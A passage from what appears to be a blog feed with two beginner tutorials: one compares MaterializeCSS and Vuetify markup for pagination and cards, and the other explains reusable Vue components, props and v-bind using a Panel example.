<p>Let's compare two material design frameworks. MaterializeCSS for Vanilla JavaScript/HTML and Vuetify for VueJs.</p>
<h3 id="materializecss">MaterializeCSS</h3>
<p>CSS frameworks are usually just that, CSS frameworks. So if you want a pagination for example, you will have to take care of how many list items you actually want to display.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">ul</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"pagination"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"disabled"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">i</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"material-icons"</span>&gt;</span>chevron_left<span class="hljs-tag">&lt;/<span class="hljs-name">i</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"active"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>2<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>3<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>4<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>5<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span>6<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"waves-effect"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#!"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">i</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"material-icons"</span>&gt;</span>chevron_right<span class="hljs-tag">&lt;/<span class="hljs-name">i</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
</code></pre>
<p>Now when the data changes you have to add / remove <code>&lt;li&gt;</code> elements which can become very messy.</p>
<h3 id="vuetify">Vuetify</h3>
<p>Vue of course, with the UI being synced with the data, can make your life a lot easier.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">v-pagination</span>
    <span class="hljs-attr">v-model</span>=<span class="hljs-string">"page"</span>
    <span class="hljs-attr">:length</span>=<span class="hljs-string">"6"</span>
&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">v-pagination</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">page</span>: <span class="hljs-number">1</span>,
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This also avoids all of these <code>data-</code> attributes for many components.</p>
<hr>
<p>Vuetify also makes the overall HTML more readable.
Let's take a look at the popular <code>cards</code>.</p>
<h3 id="materializecss-2">MaterializeCSS</h3>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"card blue-grey darken-1"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"card-content white-text"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"card-title"</span>&gt;</span>Card Title<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>I am a very simple card. I am good at containing small bits of information.
        I am convenient because I require little markup to use effectively.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"card-action"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>This is a link<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>This is a link<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="vuetify-2">Vuetify</h3>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">v-card</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"blue-grey darken-1 white--text"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">v-card-title</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h3</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"headline"</span>&gt;</span>Card Title<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>I am a very simple card. I am good at containing small bits of information. 
        I am convenient because I require little markup to use effectively.<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">v-card-title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">v-card-actions</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">v-btn</span> <span class="hljs-attr">flat</span> <span class="hljs-attr">color</span>=<span class="hljs-string">"orange"</span>&gt;</span>This is a link<span class="hljs-tag">&lt;/<span class="hljs-name">v-btn</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">v-btn</span> <span class="hljs-attr">flat</span> <span class="hljs-attr">color</span>=<span class="hljs-string">"orange"</span>&gt;</span>This is a link<span class="hljs-tag">&lt;/<span class="hljs-name">v-btn</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">v-card-actions</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">v-card</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>I don't know about you, but I find the Vue solution much more expressive. I see right away what kind of element we are dealing with (e.g. <code>&lt;v-card-actions&gt;</code>), rather than having to search for it in the class list.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I have to give it to Vue again for making the code once again more readable, and all of that without any complicated syntax like</p>
<pre class="hljs"><code>styled.a<span class="hljs-string">`
  padding: 0.5rem 0;

  <span class="hljs-subst">${props =&gt; props.primary &amp;&amp; css`<span class="css">
    <span class="hljs-selector-tag">background</span>: <span class="hljs-selector-tag">white</span>;
    <span class="hljs-selector-tag">color</span>: <span class="hljs-selector-tag">palevioletred</span>;
  `</span>}</span>
`</span>
</code></pre>
<p>It feels really refreshing having only little to no CSS in your components and therefore having only little CSS to worry about when working on a component!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vue vs Traditional HTML - Reusability & Components - Beginner's Guide]]></title>
            <link>https://michaelzanggl.com/articles/vue-vs-traditional-html/</link>
            <guid>vue-vs-traditional-html</guid>
            <content:encoded><![CDATA[<p>If you want to follow along I recommend you to use <a href="https://codesandbox.com">codesandbox</a>.</p>
<p>In the world of HTML let's say we want to create a panel that consists of a header and text. You could create something like this</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel__header"</span>&gt;</span>Title<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel__body"</span>&gt;</span>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusantium, sit!
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>From here you can apply CSS and JavaScript to these classes. Then you can go ahead and reuse this HTML as often as you please. It became reusable thanks to the classes. This is the way how CSS frameworks like bootstrap were working for years.</p>
<p>Let's look at how Vue handles reusability:</p>
<p>The first difference is that we have to create a base class for panels, and we do so in a component.</p>
<p>So let's create the component <code>Panel.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>Title<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"body"</span>&gt;</span>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusantium, sit!
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {

}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Note how we can eliminate some classes since our CSS will be scoped to this component and it is clear that <code>header</code> refers to the panel header.</p>
<p>Now instead of repeating this HTML block over and over again, you can just go ahead and import the component whereever you need.</p>
<p>Let's add two panels to the component <code>App.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> Panel <span class="hljs-keyword">from</span> <span class="hljs-string">'./Panel.vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { Panel },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This <strong>seperation of concerns</strong> is great, because instead of various nested <code>div</code> containers we simply end up with <code>Panel</code> making our template very easy to follow.
But wait! Like this, the title and body will always be the same. That's right, so what we need is to make these properties dynamic.</p>
<p>For that purpose we have to make the parent component (App.vue) pass down the title and body to the child component (Panel.vue). The child component defines what so called props it accepts.</p>
<x-ad />
<h3 id="props">Props</h3>
<p><code>Panel.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"body"</span>&gt;</span>{{ body }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">title</span>: {
            <span class="hljs-attr">type</span>: <span class="hljs-built_in">String</span>,
            <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
        },
        <span class="hljs-attr">body</span>: <span class="hljs-built_in">String</span>,
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Our component accepts two props. The <code>title</code> which has to be a string and is required, and the body which is also a string, but not necessarily required.</p>
<p>And <code>App.vue</code> can now pass down the props to the panel.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Lorem Ipsum"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"Lorem ipsum dolor sit amet"</span> /&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Something else"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> Panel <span class="hljs-keyword">from</span> <span class="hljs-string">'./Panel.vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { Panel },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Props are quite similar to normal HTML attributes.
Take a look at the following element</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Submit"</span> /&gt;</span>
</code></pre>
<p>The <code>input</code> element accepts the attributes <code>type</code> and <code>value</code>, among many others. It understands and can use these because they are defined on the <code>input</code> element itself.
If you were to write <code>&lt;input color=&quot;primary&quot; /&gt;</code> it would simply ignore the attribute <code>color</code> because it does not exist on <code>input</code>.</p>
<hr>
<p>Now some panels are especially important and their background needs to be highlighted. In HTML you would now add a modifier class to the panel and style it.</p>
<p>Let's add the class <code>panel--primary</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel panel--primary"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel__header"</span>&gt;</span>Title<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"panel__body"</span>&gt;</span>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Accusantium, sit!
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>CSS</p>
<pre class="hljs"><code><span class="hljs-selector-class">.panel</span><span class="hljs-selector-class">.panel--primary</span> <span class="hljs-selector-class">.panel__header</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#369</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
}
</code></pre>
<p>In Vue this would simply become another prop.</p>
<p><code>Panel.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">"{primary: isPrimary}"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"body"</span>&gt;</span>{{ body }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">title</span>: <span class="hljs-built_in">String</span>,
        <span class="hljs-attr">body</span>: <span class="hljs-built_in">String</span>,
        <span class="hljs-attr">isPrimary</span>: {
            <span class="hljs-attr">type</span>: <span class="hljs-built_in">Boolean</span>,
            <span class="hljs-attr">default</span>: <span class="hljs-literal">false</span>,
        },
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
    <span class="hljs-selector-class">.primary</span> {
        <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#369</span>; <span class="hljs-comment">/* you might as well have a global CSS rule for the background color */</span>
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>We add the <code>isPrimary</code> prop to our props list. Note how we default it to false. How convenient. Now we only need to pass the <code>isPrimary</code> prop when we actually want a primary panel.</p>
<p>We also add the class <code>primary</code> to the classlist of the root element with <code>:class=&quot;{primary: isPrimary}&quot;</code>. If you are confused about that syntax be sure to check out <a href="/articles/vue-vs-traditional-css">my previous article on CSS in Vue</a>.</p>
<p>Back in <code>App.vue</code> we can simply add the <code>isPrimary</code> prop the same way you would add boolean like HTML attributes like <code>selected</code> or <code>checked</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">isPrimary</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Lorem Ipsum"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"Lorem ipsum dolor sit amet"</span> /&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"Something else"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"Lorem ipsum dolor sit amet"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> Panel <span class="hljs-keyword">from</span> <span class="hljs-string">'./Panel.vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { Panel },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<h3 id="passing-data-as-props">Passing data as props</h3>
<p>So far we have only passed strings to the child. But what happens when we have to pass any other data?</p>
<p>Back in <code>App.vue</code> let's define the title and body as actual data and try to pass it to the child.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">isPrimary</span> <span class="hljs-attr">title</span>=<span class="hljs-string">"title"</span> <span class="hljs-attr">body</span>=<span class="hljs-string">"body"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> Panel <span class="hljs-keyword">from</span> <span class="hljs-string">'./Panel.vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { Panel },
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">title</span>: <span class="hljs-string">'Lorem Ipsum'</span>,
            <span class="hljs-attr">body</span>: <span class="hljs-string">'Lorem ipsum dolor sit amet'</span>,
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>The above will <strong>not</strong> work. It would literally pass the string <code>title</code> and <code>body</code> and not the contents of the variable. In order to fix that, we have to add a prefix to the prop. For that we only have to change the <code>&lt;template&gt;</code> part of <code>App.vue</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">isPrimary</span> <span class="hljs-attr">v-bind:title</span>=<span class="hljs-string">"title"</span> <span class="hljs-attr">v-bind:body</span>=<span class="hljs-string">"body"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>You can and I recommend you to abbreviate the above to</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">:title</span>=<span class="hljs-string">"title"</span> <span class="hljs-attr">:body</span>=<span class="hljs-string">"body"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>In fact <code>v-bind</code> allows any JavaScript expression.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> <span class="hljs-attr">:title</span>=<span class="hljs-string">"title.toUpperCase() + ', ' + body.substr(0, 20)"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>Also, if you want to pass a number, boolean, array or object, you also have to do that through an expression.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">Panel</span> 
       <span class="hljs-attr">:someNumber</span>=<span class="hljs-string">"1"</span>
       <span class="hljs-attr">:someBoolean</span>=<span class="hljs-string">"false"</span>
       <span class="hljs-attr">booleanThatEvaluatesToTrue</span>
       <span class="hljs-attr">:array</span>=<span class="hljs-string">"[1, 2, 3]"</span>
       <span class="hljs-attr">:object</span>=<span class="hljs-string">"{ key: 'value' }"</span>
   /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<hr>
<p>Be aware that you not only create new components for reusability reasons. Whenever a component becomes too complex or you realize it is doing more than one thing, consider splitting it up into multiple components. It helps making the code organized.</p>
<p>Imagine our panel header becomes more complex and we want to split it up into its own component.</p>
<p><code>Panel.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"header"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">PanelHeader</span> <span class="hljs-attr">:title</span>=<span class="hljs-string">"title"</span> <span class="hljs-attr">:isPrimary</span>=<span class="hljs-string">"isPrimary"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"body"</span>&gt;</span>{{ body }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> PanelHeader <span class="hljs-keyword">from</span> <span class="hljs-string">'./PanelHeader'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { PanelHeader },
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">title</span>: <span class="hljs-built_in">String</span>,
        <span class="hljs-attr">body</span>: <span class="hljs-built_in">String</span>,
        <span class="hljs-attr">isPrimary</span>: {
            <span class="hljs-attr">type</span>: <span class="hljs-built_in">Boolean</span>,
            <span class="hljs-attr">default</span>: <span class="hljs-literal">false</span>,
        },
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

</code></pre>
<p><code>PanelHeader.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">"{ primary: isPrimary }"</span>&gt;</span>
    {{ title }}
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">props</span>: {
        <span class="hljs-attr">title</span>: <span class="hljs-built_in">String</span>,
        <span class="hljs-attr">isPrimary</span>: {
            <span class="hljs-attr">type</span>: <span class="hljs-built_in">Boolean</span>,
            <span class="hljs-attr">default</span>: <span class="hljs-literal">false</span>,
        },
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.primary</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#369</span>;
}
